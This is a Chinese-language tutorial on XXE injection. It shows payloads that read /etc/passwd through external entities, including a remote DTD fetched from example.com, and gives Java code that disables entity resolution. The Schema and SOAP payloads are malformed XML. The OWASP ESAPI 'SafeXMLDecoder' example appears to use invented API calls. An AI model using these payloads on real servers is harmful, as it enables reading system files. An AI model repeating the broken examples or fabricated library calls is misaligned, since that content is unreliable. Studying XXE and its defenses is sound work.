一、XXE注入概述
XML外部实体注入(External Entity Injection,简称XXE)是一种利用XML解析器传递恶意信息的攻击技术。攻击者通过构造恶意的XML文件,将一些外部实体注入到文件中,当服务器解析这个XML文件时,外部实体实际上是在本地进行解析,这样就可能导致敏感数据泄露或者执行恶意代码。
下面是一个简单的XXE注入例子:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://example.com/xxe.dtd"> %remote; ]> <root>&exfil;</root>
在上面这段XML代码中,攻击者将远程的实体文件xxe.dtd引入到了XML文件中,同时在XML文件中引用了实体“&exfil;”,这个实体如果被定义,则会读取外部实体文件中的敏感数据。如果攻击者成功构造恶意的外部实体文件,就可以实现XXE注入攻击。
二、XXE注入攻击手段
1、基于DTD的XXE攻击
DTD(Document Type Definition)是一种约束XML文件的语法,可以用来定义合法的元素、属性和实体引用。基于DTD的XXE攻击,就是通过构造恶意的DTD文件,将一些恶意的外部实体引入到XML文件中,从而实现XXE注入。
下面是一个基于DTD的XXE注入攻击的例子:
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>
在上面这段DTD代码中,定义了一个foo元素,同时定义了一个外部实体“&xxe;”,该实体指向了文件系统中的/etc/passwd文件,如果XML文件中包含该实体,DTD解析器将会读取/etc/passwd文件中的内容,并将其注入到XML文件中。
2、基于Schema的XXE攻击
Schema是一种用于描述XML文档结构的语法规范,可以用来检验XML文档的正确性。基于Schema的XXE攻击,和基于DTD的XXE攻击类似,攻击者同样可以构造恶意的Schema文件,将外部实体引入到XML文件中实现注入攻击。
下面是一个基于Schema的XXE注入攻击的例子:
<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="foo" type="xs:string"/> <!ENTITY xxe SYSTEM "file:///etc/passwd"> </xs:schema> <foo>&xxe;</foo>
在上面这段Schema代码中,定义了一个名为“foo”的元素和一个外部实体“&xxe;”,与DTD攻击类似,当XML文档中引入了这个Schema文件和外部实体时,将会读取/etc/passwd文件的内容并注入到XML文档中。
3、基于SOAP协议的XXE攻击
SOAP(Simple Object Access Protocol)是一种基于XML协议的远程调用协议,支持使用XML消息进行远程过程调用(RPC)。基于SOAP协议的XXE攻击,攻击者可以通过构造恶意的SOAP消息,将外部实体注入到请求体中,从而实现XXE注入攻击。
下面是一个基于SOAP协议的XXE注入攻击的例子:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header/> <soapenv:Body> <foo> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <bar>&xxe;</bar> </foo> </soapenv:Body> </soapenv:Envelope>
在上面这个SOAP消息的例子中,攻击者通过在请求体中定义DTD,并在DTD中引入了外部实体“&xxe;”,最终实现了XXE注入攻击。
三、XXE注入防御
防止XXE注入攻击的主要手段是限制XML解析器的实体解析能力,以及对输入的XML文档进行过滤和解析检查。
1、禁用实体解析
禁用XML解析器的实体解析功能是一种简单有效的防御手段,通过在解析XML文件前设置禁用实体解析的选项,可以有效避免XXE注入攻击。
以下是Java代码中,禁用实体解析的选项设置示例:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(inputStream);
2、检查输入的XML文档
对输入的XML文档进行过滤和解析检查,可以防止一些已知的XXE注入攻击。开发者可以使用现有的XML解析库,比如JDOM、DOM4J、SAX等,进行XML文档的解析和检查。
以下是Java代码中,使用JDOM进行XML文档的解析和检查示例:
SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DTD解析 builder.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用外部实体 builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); builder.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); Document document = builder.build(inputStream); Element root = document.getRootElement(); Listelements = root.getChildren(); for(Element element : elements){ // 手动检查每个元素 if(element.getName().equals("foo")){ String data = element.getText(); // 检查数据是否符合要求,避免注入攻击 } }
3、使用安全的XML解析库
使用安全的XML解析库,可以避免一些已知的XXE注入攻击,比如XXE-injection漏洞实验室推荐的安全XML库OWASP ESAPI,该库提供了一些安全的XML解析API,可以有效增强应用程序的安全性。
以下是使用OWASP ESAPI进行XML文件解析的Java代码示例:
// 初始化ESAPI ESAPI.initialize(); // 获取安全的XML解析器 SafeXMLDecoder decoder = ESAPI.validator().getSafeXMLDecoder(); // 解析XML文件 String xml = ...; // 需要解析的XML文件 Document document = decoder.parse(xml);
四、总结
XXE注入攻击是一种利用XML解析器传递恶意信息的攻击技术,攻击者可以通过构造恶意的XML文件,将一些外部实体注入到文件中,从而导致敏感数据泄露或者执行恶意代码。开发者可以通过禁用实体解析、检查输入的XML文档、使用安全的XML解析库等手段,提高应用程序的安全性。